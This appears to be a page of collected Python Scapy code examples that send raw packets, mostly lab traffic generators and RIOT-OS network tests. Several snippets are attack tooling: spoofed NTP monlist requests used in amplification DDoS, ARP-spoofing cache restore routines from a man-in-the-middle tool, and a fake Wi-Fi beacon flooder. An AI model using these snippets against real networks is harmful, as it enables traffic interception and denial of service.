    for i in range(50):
        sendp(pk_to_router, iface=argv["interface"])
def send_random_traffic(num_of_messages):
    NTP_MONLIST_REQUEST = "\x17\x00\x03\x2a" + "\x00" * 4
    dst_mac = None
    src_ip = None
    dst_ip = None
    legitimate_pkts = 0
    spoofed_pkts = 0
    total_pkts = 0

    # h1 info
    src_ip = '10.0.1.1'
    src_mac = '00:00:00:00:01:01'

    # Dest info
    dst_ip = '10.0.1.3'
    dst_mac = '00:00:00:00:01:99'

    # Get name of eth0 interface
    iface_eth0 = ''
    for i in get_if_list():
        if 'eth0' in i or 's0' in i:
            iface_eth0 = i
    mac_iface_eth0 = get_if_hwaddr(iface_eth0)
    ip_addr_eth0 = get_ip_address(iface_eth0)

    if len(mac_iface_eth0) < 1:
        print("No interface for output")
        sys.exit(1)

    # Send request and sleep for some time
    N = int(num_of_messages)
    for i in range(N):
        port = random.randint(1024, 65535)
        p = Ether(dst=dst_mac, src=src_mac) / IP(dst=dst_ip, src=src_ip)
        p = p / UDP(dport=123, sport=port) / NTP(NTP_MONLIST_REQUEST)
        print p.show()
        sendp(p, iface=iface_eth0, loop=0)
        total_pkts += 1

    print ''
    print "Sent %s packets in total" % total_pkts
Exemple #40
0
def main():
    global cnt, empty
    a = parser.parse_args()

    iface = a.interface
    # iface = 'veth0'

    range_bottom = 1
    range_top = 100000

    ether = Ether(src=a.sm, dst=a.dm)
    ip = IP(src=a.si, dst=a.di, proto=17)
    udp = UDP(sport=a.sp, dport=a.dp)

    with open('g_dist', 'r') as f:
        #with open('u_dist', 'r') as f:
        # while True:

        #     #todo
        #     if cnt == 10000:
        #         break

        #     line = f.readline()
        #     if not line: break
        #     n = line.split()

        #     #print('\n---------- Send pakcet ----------')
        #     pkt = ether / ip / udp / entry_hdr(frame_type=1, key0=int(n[0]), key1=int(n[1]), key2=int(n[2]), key3=int(n[3]), key4=int(n[4]), key5=int(n[5]), key6=int(n[6]), key7=int(n[7]), key8=int(n[8]), key9=int(n[9]))
        #     pkt.show()
        #     hexdump(pkt)
        #     sendp(pkt, iface=iface, verbose=False)
        #     cnt += 1
        #     print('pkt cnt : ', cnt)

        #todo
        for i in range(1200):
            pkt1 = ether / ip / udp / entry_hdr(frame_type=1)
            pkt1.show()
            hexdump(pkt1)
            sendp(pkt1, iface=iface, verbose=False)
            print('flush packet cnt : ', i)
Exemple #41
0
def test_gnrc_tcp_garbage_packets_ack_instead_of_sym(child):
    """ This test verfies that sending and ACK instead of a SYN.
        doesn't break GNRC_TCP.
    """
    # Setup RIOT as server
    with RiotTcpServer(child, generate_port_number()) as riot_srv:
        # Construct HostTcpClient to lookup node properties
        host_cli = HostTcpClient(riot_srv)

        # Try to accept incoming connection from host system.
        # Use timeout of 15s discarding 1000 packages can take a while on smaller platforms
        child.sendline('gnrc_tcp_accept 15000')

        # Check if debug output is enabled. Send fewer packets on if it is disabled
        # To ensure that the amount of generated output doesn't break the test
        debug = child.expect(
            [pexpect.TIMEOUT, r'GNRC_TCP: Enter "\S+", File: .+\(\d+\)\s'], timeout=1
        )

        if debug:
            count = 10
        else:
            count = 1000

        # see https://github.com/RIOT-OS/RIOT/pull/12001
        provided_data = base64.b64decode("rwsQf2pekYLaU+exUBBwgPDKAAA=")
        tcp_hdr = TCP(provided_data)
        assert provided_data == raw(tcp_hdr)

        # set destination port to application specific port
        tcp_hdr.dport = int(riot_srv.listen_port)
        sendp(
            Ether(dst=riot_srv.mac) / IPv6(src=host_cli.address, dst=riot_srv.address) /
            tcp_hdr, iface=host_cli.interface, verbose=0, count=count
        )

        # check if server actually still works
        with host_cli:
            child.expect_exact('gnrc_tcp_accept: returns 0')

        riot_srv.close()
Exemple #42
0
def test_empty_mixed2_w_frag_hdr_registered(child, iface, hw_dst, ll_dst,
                                            ll_src):
    # Register to fragment header
    register_protnum(child, EXT_HDR_NH[IPv6ExtHdrFragment])
    # Try sending a packet with a number of extension headers in not recommended
    # (but legal) order
    sendp(Ether(dst=hw_dst) / IPv6(dst=ll_dst, src=ll_src) /
          IPv6ExtHdrHopByHop() / IPv6ExtHdrRouting() / IPv6ExtHdrDestOpt() /
          IPv6ExtHdrFragment() / UDP() / "\x01\x02",
          iface=iface,
          verbose=0)
    # Fragment header with payload
    child.expect(r"~~ SNIP  0 - size:\s+(\d+) byte, type: NETTYPE_\w+ \(\d+\)")
    ipv6_payload_len = int(child.match.group(1))
    # NH = 17 (UDP), reserved = 0x00, fragment offset = 0, res = 0, M = 0
    child.expect(r"00000000  11  00  00  00  00  00  00  00")
    # Destination option
    child.expect(r"~~ SNIP  1 - size:\s+(\d+) byte, type: NETTYPE_\w+ \(\d+\)")
    ipv6_payload_len += int(child.match.group(1))
    # NH = IPv6ExtHdrFragment, len = 0x00, PadN option (0x01) of length 0x04
    child.expect(r"00000000  {:02X}  00  01  04  00  00  00  00".format(
        EXT_HDR_NH[IPv6ExtHdrFragment]))
    # Routing header
    child.expect(r"~~ SNIP  2 - size:\s+(\d+) byte, type: NETTYPE_\w+ \(\d+\)")
    ipv6_payload_len += int(child.match.group(1))
    # NH = IPv6ExtHdrDestOpt, len = 0x00, routing type = 0, segments left = 0
    child.expect(r"00000000  {:02X}  00  00  00  00  00  00  00".format(
        EXT_HDR_NH[IPv6ExtHdrDestOpt]))
    # Hop-by-hop-option
    child.expect(r"~~ SNIP  3 - size:\s+(\d+) byte, type: NETTYPE_\w+ \(\d+\)")
    ipv6_payload_len += int(child.match.group(1))
    # NH = IPv6ExtHdrRouting, len = 0x00, PadN option (0x01) of length 0x04
    child.expect(r"00000000  {:02X}  00  01  04  00  00  00  00".format(
        EXT_HDR_NH[IPv6ExtHdrRouting]))
    # IPv6 header
    child.expect(r"~~ SNIP  4 - size:\s+40 byte, type: NETTYPE_IPV6 \(\d+\)")
    child.expect_exact(r"length: {}  next header: {}".format(
        ipv6_payload_len, EXT_HDR_NH[IPv6ExtHdrHopByHop]))
    child.expect_exact(r"destination address: {}".format(ll_dst))
    pktbuf_empty(child)
    unregister(child)
Exemple #43
0
def main():

    if len(sys.argv) < 3:
        print 'pass 1 arguments: <destination> '
        exit(1)


#dst addr
    addr = socket.gethostbyname(sys.argv[1])
    #src addr
    addr1 = socket.gethostbyname(sys.argv[2])

    iface = sys.argv[3]

    pkt = Ether(src=get_if_hwaddr(iface), dst='00:00:00:00:00:01', type=0x800)
    pkt1 = pkt / IP(src=addr, dst=addr1, ttl=1) / TCP(dport=80,
                                                      sport=20) / "hi"
    pkt1.show()
    hexdump(pkt1)  # show hexadecimal expression of packet
    sendp(pkt1, iface=iface, verbose=False)
    print "sending on interface %s " % (iface)
Exemple #44
0
def main():

    if len(sys.argv) < 3:
        print('pass 2 arguments: <destination> "<message>"')
        exit(1)

    addr = socket.gethostbyname(sys.argv[1])
    iface = 'eth0'
    opt = IPOption_INT(count=0, int_headers=[])
    ip = IP(dst=addr, options=opt, ihl=0)
    udp = UDP(dport=1234, sport=4321)
    ether = Ether(src=get_if_hwaddr(iface), dst="ff:ff:ff:ff:ff:ff")
    pkt = ether / ip / udp / sys.argv[2]

    pkt.show2()
    try:
        for i in range(int(sys.argv[3])):
            sendp(pkt, iface=iface)
            sleep(1)
    except KeyboardInterrupt:
        raise
Exemple #45
0
def send_probe1(addr, iface):
    global timesent, routeA, timesentA, timesentB;
    pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff');
    #rota 1 -> Fonte S1 S3 S2 H5
    if routeA == True:
        pkt = pkt / SourceRoute(bos=0, port=3)
    # rota 2 -> Fonte S1 S4 S2 H5
    elif routeA == False:
        pkt = pkt / SourceRoute(bos=0, port=4)
    # Rota 3 -> Fonte S1 S3 S2 S4 S1 S3 S2 H5
    #pkt = pkt / SourceRoute(bos=0, port=3) / SourceRoute(bos=0,port=2) / SourceRoute(bos=0, port=2) / SourceRoute(bos=0, port=1) / SourceRoute(bos=0, port=3) / SourceRoute(bos=0, port=2) / SourceRoute(bos=1, port=5)
    pkt = pkt / SourceRoute(bos=0,port=2) / SourceRoute(bos=1,port=5)
    pkt = pkt / IP(dst=addr) / UDP(dport=4321, sport=1234)
    
    #print("Sending packet")
    if(routeA == True):
        timesentA = datetime.now()
    elif(routeA == False):
        timesentB = datetime.now()
    #timesent = datetime.now()
    sendp(pkt, iface=iface, verbose=False)
Exemple #46
0
def main():

    parser = argparse.ArgumentParser(
        description='Process to evaluate datasets.')
    parser.add_argument('-f', help='PCAP file', default='f')
    args = parser.parse_args()

    scapy_cap = PcapReader(args.f)
    count = 0

    for p in scapy_cap:

        #p[IP].ihl = 0

        #p[IP].options = opt
        #print(p[TCP].flags)
        count += 1
        print("sending pkt {}".format(count))
        p.show2()
        sendp(p, iface="eth0", verbose=False)
        time.sleep(0)
 def run(self):
     count = 0
     while True:
         count += 1
         if (self.max_count > 0) and (count > self.max_count):
             break
         disco_pkt = dhcp_discover_pkt(self.mac, self.hostname)
         disco_reply = srp1(disco_pkt, iface=self.iface, verbose=False)
         request_pkt = dhcp_request_pkt(disco_reply, self.hostname)
         request_reply = srp1(request_pkt, iface=self.iface, verbose=False)
         if is_dhcp_ack(request_reply):
             my_ip = request_reply[BOOTP].yiaddr
             if my_ip not in self.obtained_ips:
                 self.obtained_ips.append(my_ip)
                 print('got new IP for client %s: %s' % (self.mac, my_ip))
             release_pkt = dhcp_release_pkt(request_reply, self.hostname)
             if self.timeout > 0:
                 time.sleep(self.timeout)
             sendp(release_pkt, iface=self.iface, verbose=False)
     print('client %s obtained IPs: %s' %
           (self.hostname, ' '.join(self.obtained_ips)))
Exemple #48
0
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('ip_addr',
                        type=str,
                        help="The destination IP address to use")
    parser.add_argument('tos',
                        type=str,
                        help="The destination IP address to use")
    args = parser.parse_args()
    addr = socket.gethostbyname(args.ip_addr)
    tos = args.tos
    iface = get_if()

    print "sending on interface {} ".format(iface)
    pkt = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff')
    pkt = pkt / IP(dst=addr, tos=int(tos)) / TCP(
        dport=1234, sport=random.randint(49152, 65535))
    pkt.show2()
    #    hexdump(pkt)
    #    print "len(pkt) = ", len(pkt)
    sendp(pkt, iface=iface, verbose=True)
Exemple #49
0
    def repair_cache(self):
        for victim in self.victims:
            packet = Ether() / ARP()
            packet[Ether].src = self.interface.mac_address
            packet[Ether].dst = self.gateway.mac_address
            packet[ARP].psrc = victim.ip_address
            packet[ARP].hwsrc = victim.mac_address
            packet[ARP].pdst = self.gateway.ip_address
            packet[ARP].hwdst = self.gateway.mac_address
            packet[ARP].op = 2
            sendp(packet, iface=self.interface.name, verbose=0)

            packet = Ether() / ARP()
            packet[Ether].src = self.interface.mac_address
            packet[Ether].dst = victim.mac_address
            packet[ARP].psrc = self.gateway.ip_address
            packet[ARP].hwsrc = self.gateway.mac_address
            packet[ARP].pdst = victim.ip_address
            packet[ARP].hwdst = victim.mac_address
            packet[ARP].op = 2
            sendp(packet, iface=self.interface.name, verbose=0)
Exemple #50
0
 def __beacon_send(self, ssid, inter, enc):
     addr2 = gu.rand_mac()
     addr3 = gu.rand_mac()
     dot11 = Dot11(type=0,
                   subtype=8,
                   addr1='ff:ff:ff:ff:ff:ff',
                   addr2=addr2,
                   addr3=addr3)
     beacon = Dot11Beacon(cap='ESS')
     beacon_enc = Dot11Beacon(cap='ESS+privacy')
     essid = Dot11Elt(ID='SSID', info=ssid, len=len(ssid))
     rsn = Dot11Elt(
         ID='RSNinfo',
         info=
         ('\x01\x00\x00\x0f\xac\x02\x02\x00\x00\x0f\xac\x04\x00\x0f\xac\x02\x01\x00\x00\x0f\xac\x02\x00\x00'
          ))
     if enc:
         frame = RadioTap() / dot11 / beacon_enc / essid / rsn
     else:
         frame = RadioTap() / dot11 / beacon / essid
     sendp(frame, iface=self.iface, inter=inter, loop=1)
Exemple #51
0
    def rearp_targets(signal, frame):
        """Function to rearp targets when SIGNINT signal is fired.
        
        Arguments:
            signal {signal} -- Signal
            frame {frame} -- Stack frame or execution frame
        """
        sleep(1)
        p_success("\n[+] Rearping Targets")
        r_mac = getmacbyip(host)
        pkt = Ether(src=r_mac, dst="ff:ff:ff:ff:ff:ff") / ARP(
            psrc=host, hwsrc=if_mac, op=2)
        sendp(pkt, inter=1, count=3, iface=interface)

        if args.reverse:
            t_mac = getmacbyip(args.target)
            r_pkt = Ether(src=t_mac, dst="ff:ff:ff:ff:ff:ff") / ARP(
                psrc=args.target, hwsrc=if_mac, op=2)
            sendp(r_pkt, inter=1, count=2, iface=interface)
        p_success("[+] Exiting!")
        sys.exit(0)
Exemple #52
0
def handle_pkt(pkt):
    global routeA
    #print ("got a packet")
    iface = 'eth0'
    #print("RouteA eh " + str(routeA))
    #pkt.show2()
    #    hexdump(pkt)
    sys.stdout.flush()
    pktAns = Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff')
    # Rota 1 vai por S3
    if routeA == True:
        pktAns = pktAns / SourceRoute(bos=0, port=1)
        routeA = False
    # Rota 2 vai por S4
    elif routeA == False:
        pktAns = pktAns / SourceRoute(bos=0, port=2)
        routeA = True

    pktAns = pktAns / SourceRoute(bos=0, port=1) / SourceRoute(bos=1, port=5)
    pktAns = pktAns / IP(dst='10.0.4.10') / UDP(dport=4321, sport=1234)
    sendp(pktAns, iface=iface, verbose=False)
Exemple #53
0
def size_test_breadth():
    global box, t_frame, if0
    for i in range(65535):
        try:
            m = box.encrypt(('A' * i).encode('ascii'))
            t_elt = Dot11Elt(ID=253, info=m, len=len(m))
            t_elt2 = Dot11Elt(ID=254, info=m, len=len(m))
            sendp(t_frame / t_elt / t_elt2,
                  iface=if0,
                  loop=0,
                  inter=0.100,
                  count=1,
                  verbose=0)
            #input("Continue...")
        except Exception as e:
            print("[t] Fail at frame: {}, size: {}\n[e] {}".format(
                i, i * 4, str(e)))
            #raise e
            return False
    print("[t] absolute unit!")
    return True
def handle_pkt(pkt):

    print "got a packet"
    pkt.show2()
    hexdump(pkt)

    #5G PACKET
    pkt5g = Ether(src='00:15:5d:00:00:04', dst='00:15:5d:00:00:00') / IPv6(
        src="fc00::5", dst="fc00::1") / IPv6ExtHdrRouting(
            type=4, segleft=2, addresses=["fc00::1", "fc00::101", "fc00::100"]
        ) / UDP(sport=64515, dport=2152) / GTP_U_Header(
            TEID=32, Reserved=0, E=1) / dl_pdu_session(gtp_ext=133, QoSID=14)

    #Full packet (5G + USER DATA)
    pkt2 = pkt5g / pkt[IPv6]

    print "packet sent"
    pkt2.show2()
    hexdump(pkt2)
    sendp(pkt2, iface="eth1", verbose=False)
    main()
Exemple #55
0
    def send_probe_req(self, essid, bssid, src=None):
        if not self.args.active:
            return

        if src is None:
            src = RandMAC()
        print(
            '[!] Sending 802.11 Probe Request: SRC=[%s] -> BSSID=[%s]\t(%s)' %
            (src, bssid, essid))

        param = Dot11ProbeReq()
        essid = Dot11Elt(ID='SSID', info=essid)
        rates = Dot11Elt(ID='Rates', info="\x03\x12\x96\x18\x24\x30\x48\x60")
        dsset = Dot11Elt(ID='DSset', info='\x01')
        pkt = RadioTap() \
              / Dot11(type=0, subtype=4, addr1=bssid, addr2=src, addr3=bssid) / param / essid / rates / dsset

        try:
            sendp(pkt, verbose=0)
        except:
            raise
def arp_proxy(pkt):
    for net in nets_overlap:
        if ip_address(pkt.psrc) in net[0] and ip_address(pkt.pdst) in net[1] and \
                        pkt.hwsrc != gw_mac and pkt.hwsrc != iface_mac and \
                        pkt.pdst != str(net[1].network_address) and \
                        pkt.pdst != str(net[1].broadcast_address):
            # create arp reply paket
            arp_reply = Ether(src=iface_mac, dst=pkt.hwsrc) / \
                        ARP(op=2, hwsrc=gw_mac, psrc=pkt.pdst, hwdst=pkt.hwsrc, pdst=pkt.psrc)

            sendp(arp_reply, iface=iface, verbose=0)
            print('-----------------------------------\n')
            print('IN: ARP request \n')
            print('-----------------------------------\n')
            pkt.show()
            print('-----------------------------------\n')
            print('-----------------------------------\n')
            print('OUT: ARP reply \n')
            print('-----------------------------------\n')
            arp_reply.show()
            print('-----------------------------------\n')
Exemple #57
0
def main():

    #src addr
    #   addr = socket.gethostbyname(sys.argv[1])

    #dst addr
    #   addr1 = socket.gethostbyname(sys.argv[2])

    iface = sys.argv[1]

    ether = Ether(src='00:00:00:00:00:03', dst='00:00:00:00:00:01', type=0x800)

    pkt = ether / CSS() / "OxAAAAFFFFFFFFFFFFFFFF"
    pkt.show()
    hexdump(pkt)
    ms = time.time() * 1000
    dt = datetime.datetime.now()
    print(dt.microsecond)
    sendp(pkt, iface=iface, verbose=False)

    print "sending on interface %s to dmac=00:00:00:00:00:01 from 3" % (iface)
Exemple #58
0
def syncPkt():
    global iface, addr
    DPSync = DPSyncTag(
        etherType = 0x9487,
        opCode = 0b0000,
        reserved = 0,
        originalPort = 0
    )

    TS = TS_Payload(
        TS1 = 0,
        TS2 = 0,
        TS3 = 0,
        TS4 = 0
    )

    pkt = Ether(src=get_if_hwaddr(iface), type=0x9487, dst='ff:ff:ff:ff:ff:ff')
    pkt =pkt / IP(dst=addr) / DPSync / TS
    pkt.show()
    hexdump(pkt)
    sendp(pkt, iface=iface, verbose=False)
def send_random_traffic(src_switch, src_host, dst_switch, dst_host, timeout, loop):
    NTP_MONLIST_REQUEST = "\x17\x00\x03\x2a" + "\x00" * 8

    src_mac = '00:00:00:00:0' + src_switch + ':0' + src_host
    src_ip  = '10.0.' + src_switch + '.' + src_host
    dst_mac = '00:00:00:00:0' + dst_switch + ':0' + dst_host
    dst_ip  = '10.0.' + dst_switch + '.' + dst_host

    # Get name of eth0 interface
    iface_eth0 = ''
    for i in get_if_list():
        if 'eth0' in i or 's0' in i:
            iface_eth0 = i

    while True:
        timeout = random.randrange(0,5)
        #print 'timeout ' + str(timeout)
        p = Ether(dst=dst_mac,src=src_mac)/IP(dst=dst_ip,src=src_ip)
        p = p/UDP(dport=123,sport=123)/Raw(NTP_MONLIST_REQUEST)
        sendp(p, iface = iface_eth0, loop=loop, verbose=1)
        time.sleep(timeout)
Exemple #60
0
def main():

    if len(sys.argv) < 3:
        #print 'pass 2 arguments: <destination> "<message>"'
        exit(1)

    addr = socket.gethostbyname(sys.argv[1])
    iface = get_if()

    pkt = Ether(src=get_if_hwaddr(iface), dst="ff:ff:ff:ff:ff:ff") / IP(
        dst=addr, options=IPOption_MRI(count=0, swtraces=[])) / UDP(
            dport=4321, sport=1234) / sys.argv[2]

    #pkt.show2()

    try:
        for i in range(int(sys.argv[3])):
            sendp(pkt, iface=iface)
            sleep(0.1)
    except KeyboardInterrupt:
        raise